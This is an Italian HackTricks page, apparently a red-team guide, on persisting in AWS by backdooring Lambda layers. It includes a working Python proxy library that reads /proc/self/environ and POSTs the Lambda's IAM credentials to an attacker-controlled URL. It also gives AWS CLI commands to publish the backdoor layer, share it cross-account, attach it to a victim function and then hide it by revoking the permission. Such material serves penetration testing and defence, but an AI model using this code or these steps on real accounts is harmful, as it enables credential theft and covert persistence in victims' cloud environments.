AWS - Persistenza delle Lambda Layers
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Lambda Layers
Una Lambda layer è un archivio .zip che può contenere codice aggiuntivo o altro contenuto. Una layer può contenere librerie, un runtime personalizzato, dati o file di configurazione.
È possibile includere fino a cinque layers per funzione. Quando includi una layer in una funzione, i contenuti vengono estratti nella directory /opt
nell'ambiente di esecuzione.
Per definizione, le layers che crei sono private al tuo account AWS. Puoi scegliere di condividere una layer con altri account o di rendere la layer pubblica. Se le tue funzioni utilizzano una layer pubblicata da un altro account, le tue funzioni possono continuare a utilizzare la versione della layer dopo che è stata eliminata, o dopo che il tuo permesso di accesso alla layer è stato revocato. Tuttavia, non puoi creare una nuova funzione o aggiornare funzioni utilizzando una versione di layer eliminata.
Le funzioni distribuite come immagine del contenitore non utilizzano le layers. Invece, impacchetti il tuo runtime preferito, librerie e altre dipendenze nell'immagine del contenitore quando costruisci l'immagine.
Percorso di caricamento di Python
Il percorso di caricamento che Python utilizzerà in lambda è il seguente:
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
Controlla come le seconda e terza posizione sono occupate da directory dove i lambda layers decomprimono i loro file: /opt/python/lib/python3.9/site-packages
e /opt/python
caution
Se un attaccante riesce a backdoor un layer lambda utilizzato o aggiungerne uno che eseguirà codice arbitrario quando una libreria comune viene caricata, sarà in grado di eseguire codice malevolo con ogni invocazione di lambda.
Pertanto, i requisiti sono:
- Controllare le librerie che sono caricate dal codice delle vittime
- Creare una libreria proxy con lambda layers che eseguirà codice personalizzato e caricherà la libreria originale.
Librerie pre-caricate
warning
Quando abuso di questa tecnica ho trovato una difficoltà: Alcune librerie sono già caricate nel runtime di python quando il tuo codice viene eseguito. Mi aspettavo di trovare cose come os
o sys
, ma anche la libreria json
era caricata.
Per abusare di questa tecnica di persistenza, il codice deve caricare una nuova libreria che non è caricata quando il codice viene eseguito.
Con un codice python come questo è possibile ottenere la lista delle librerie che sono pre-caricate all'interno del runtime di python in lambda:
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
E questa è la lista (controlla che librerie come os
o json
siano già presenti)
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
E questa è la lista delle librerie che lambda include installate per impostazione predefinita: https://gist.github.com/gene1wood/4a052f39490fae00e0c3
Backdooring del Lambda Layer
In questo esempio supponiamo che il codice target stia importando csv
. Stiamo per inserire un backdoor nell'importazione della libreria csv
.
Per fare ciò, creeremo la directory csv con il file __init__.py
al suo interno in un percorso caricato da lambda: /opt/python/lib/python3.9/site-packages
Poi, quando il lambda viene eseguito e cerca di caricare csv, il nostro file __init__.py
verrà caricato ed eseguito.
Questo file deve:
- Eseguire il nostro payload
- Caricare la libreria csv originale
Possiamo fare entrambe le cose con:
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)
# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]
# Load original library
import csv as _csv
sys.modules["csv"] = _csv
Quindi, crea uno zip con questo codice nel percorso python/lib/python3.9/site-packages/__init__.py
e aggiungilo come un layer lambda.
Puoi trovare questo codice in https://github.com/carlospolop/LambdaLayerBackdoor
Il payload integrato invierà le credenziali IAM a un server LA PRIMA VOLTA che viene invocato o DOPO un reset del contenitore lambda (cambio di codice o lambda a freddo), ma altre tecniche come le seguenti potrebbero essere integrate:
Layer Esterni
Nota che è possibile utilizzare layer lambda da account esterni. Inoltre, un lambda può utilizzare un layer da un account esterno anche se non ha permessi.
Nota anche che il numero massimo di layer che un lambda può avere è 5.
Pertanto, per migliorare la versatilità di questa tecnica, un attaccante potrebbe:
- Backdoor un layer esistente dell'utente (niente è esterno)
- Creare un layer nel suo account, dare accesso all'account vittima per utilizzare il layer, configurare il layer nel Lambda della vittima e rimuovere il permesso.
- Il Lambda sarà ancora in grado di utilizzare il layer e la vittima non avrà alcun modo semplice per scaricare il codice dei layer (a parte ottenere una rev shell all'interno del lambda)
- La vittima non vedrà i layer esterni utilizzati con
aws lambda list-layers
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
## Add layer to victims Lambda
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.